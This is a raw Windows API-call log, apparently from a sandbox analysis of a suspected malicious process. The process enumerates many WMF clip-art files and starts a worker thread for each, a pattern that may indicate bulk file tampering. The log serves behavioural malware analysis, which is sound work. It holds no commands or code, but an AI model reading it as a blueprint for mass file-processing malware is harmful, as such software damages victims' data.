	[0252.299] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef4f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79ef4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1
	[0252.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2644
	[0252.300] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.301] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1
	[0252.301] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2648
	[0252.303] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.303] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d2000, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96d2000, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1
	[0252.303] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264c
	[0252.305] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.305] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04e1b00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa04e1b00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1
	[0252.305] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2650
	[0252.307] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.307] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1
	[0252.307] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2654
	[0252.309] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.309] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78be2200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78be2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1
	[0252.309] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2658
	[0252.311] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.312] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3ef600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c3ef600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1
	[0252.312] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x265c
	[0252.313] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.314] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778cf500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x778cf500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1
	[0252.314] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2660
	[0252.316] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.316] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad09800, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ad09800, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1
	[0252.317] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2664
	[0252.319] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.320] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3a800, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4c3a800, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1
	[0252.320] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2668
	[0252.322] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.322] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765bc800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x765bc800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1
	[0252.322] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x266c
	[0252.324] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.325] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1
	[0252.325] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2670
	[0252.327] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.327] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23879c00, ftCreationTime.dwHighDateTime=0x1c01c5d, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23879c00, ftLastWriteTime.dwHighDateTime=0x1c01c5d, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1
	[0252.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2674
	[0252.494] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.529] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13335b00, ftCreationTime.dwHighDateTime=0x1bd4b0e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13335b00, ftLastWriteTime.dwHighDateTime=0x1bd4b0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1
	[0252.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2678
	[0252.535] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.536] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8d0400, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8d0400, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1
	[0252.541] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x267c
	[0252.543] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.544] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a9b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x752a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1
	[0252.544] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2680
	[0252.545] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.546] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3039c00, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3039c00, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1
	[0252.546] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2684
	[0252.548] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.548] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53153500, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53153500, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1
	[0252.548] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2688
	[0252.549] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.550] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1
	[0252.550] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268c
	[0252.551] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.552] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1
	[0252.552] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2690
	[0252.554] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.554] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1
	[0252.554] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2694
	[0252.556] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.556] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f14c400, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f14c400, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1
	[0252.556] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2698
	[0252.558] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.558] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1
	[0252.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x269c
	[0252.560] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.560] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1
	[0252.560] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26a0
	[0252.562] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.562] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6697b000, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6697b000, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1
	[0252.562] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26a4
	[0252.564] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.564] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d1f5400, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d1f5400, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1
	[0252.564] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26a8
	[0252.566] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.566] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5096e900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5096e900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1
	[0252.566] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26ac
